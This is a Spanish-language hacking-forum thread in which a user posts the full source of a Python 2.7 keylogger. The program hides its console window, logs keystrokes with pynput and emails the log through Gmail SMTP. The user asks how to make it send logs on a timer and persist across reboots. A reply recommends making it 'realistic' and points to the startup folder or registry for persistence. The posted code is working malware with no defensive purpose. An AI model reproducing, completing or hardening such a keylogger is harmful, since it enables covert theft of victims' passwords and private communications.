Duda Keylogger Python27

Iniciado por jhou_026, Diciembre 15, 2019, 11:08:46 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Diciembre 15, 2019, 11:08:46 PM Ultima modificación: Diciembre 16, 2019, 06:15:12 AM por Gabriela
Hola tod@s Underc0ders, ando explorando el mundo del python2.7
y tengo una duda respecto a mi codigo que es el siguiente como lo mencione es un keylogger en python que envia a gmail

Código: python
#!/usr/bin/env python
#_*_ coding: utf8 _*_

import  pynput.keyboard
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32console #segundo plano
import win32gui

from scheduler import Scheduler

ventana = win32console.GetConsoleWindow()#ventana que se ejeuta
win32gui.ShowWindow(ventana,0)#dos parmetros 1 ventana a ocultar y 0 para que se oculte

log_file = open('log.txt','w+') #w+ para crearlo y si se vuelve a crear el contenido anterior se borra

def enviar_datos():
msg = MIMEMultipart()
password = "micontraseña"
msg['From'] = "[email protected]"
msg ['To'] = "[email protected]" # correo a enviar
msg['Subject'] = "Keylogger" #asunto msje gmail
msg.attach(MIMEText(file('log.txt').read()))#archivo a leer log.txt

try:
server = smtplib.SMTP('smtp.gmail.com:587') #SMTP define servido de correo electronico y puerto a conectar
server.starttls()
server.login(msg['From'],password) #nos logeamos
server.sendmail(msg['From'],msg['To'],msg.as_string())#enviar con 3 parametros remitente,el qe recibe y el contenido
server.quit() #cerramos el server
except:
pass

def imprimir():
teclas = ''.join(lista_tecla)
log_file.write(teclas)
log_file.write("\n")
log_file.close()#siempre cerramos el archivo
time.sleep(3) #momento que cierra el archivo tiempo de espera
enviar_datos()

lista_tecla = []

def convertir(key):
if isinstance(key,pynput.keyboard.KeyCode): #isinstance verifica que un objeto sea una clase de la segunda variable
return key.char
else:
return str(key)

def presiona(key):
key1 = convertir(key)

if key1 == "Key.esc":
print("Saliendo...")
imprimir()
while True:
presiona(key)


elif key1 == "Key.space":
lista_tecla.append(" ")
elif key1 == "Key.enter":
lista_tecla.append("\n")
elif key1 == "Key.backspace":
pass
elif key1 == "Key.tab":
pass
elif key1 == "Key.shift":
pass
elif key1 == "Key.alt_l":
lista_tecla.append("(alt)")
else:
lista_tecla.append(key1)

with pynput.keyboard.Listener(on_press=presiona) as listen: #atribuir todo a listen con as
listen.join()


Tengo unas preguntas...  hasta donde lo ven funciona muy bn, pero quiero modificarlo debido que tiene falencias :
1)  al oprimir X tecla en este caso es la tecla ESCAPE el escribe el archivo log.txt y lo envie al gmail  PEROOO ya deja de grabar teclas por decirlo de alguna manera o deja de ejecutarse mejor dicho! PENSADO: Eh pensado ponerle un bucle infinito "while" para que se ejecute siempre
que me recomiendan para que digamos en ves de que con la tecla Escape "ejemplo" se detenga y se envie, que se envie cada X tiempo y siga grabando y enviando
2) al reiniciar ya perdemos todo, quiero agregarlo a la carpeta inicio eh pensado varias cosas, copiarlo en la carpeta de inicio, hacer en vb6 y añadirlo y juntarlos  no se... que me recomiendan que haga para agregarlo al inicio y que cuando se reinicie no se pierda

Agradezco de antemano  :)

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tiene que hacerlo realista, por lo tanto tiene que enviar las pulsaciones cada cierto tiempo, no cuando el usuario lo decida.

Sobre la persistencia, tiene muchas alternativas, desde el "menú de inicio" hasta el "regedit" y mucho más.

PD: Recomiendo se cambie a Python 3 (Lamentablemente :'()

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

si claro es muy cierto, hay que ser realista, no con X tecla sino cada X tiempo, por eso quiero modificar el codigo te agradeceria me ayudaras con eso y pues que se siguiera ejecutando y a la ves enviado cada X tiempo
y por otro lado pues.. tenia pensado lo mismo, desde copiar en la carpeta de menu de inicio hasta modificar el registro

la cuestios es como  :o

tomare tu recomendación de mudarme a python3 pero primero termino este en 27  ;D gracias ...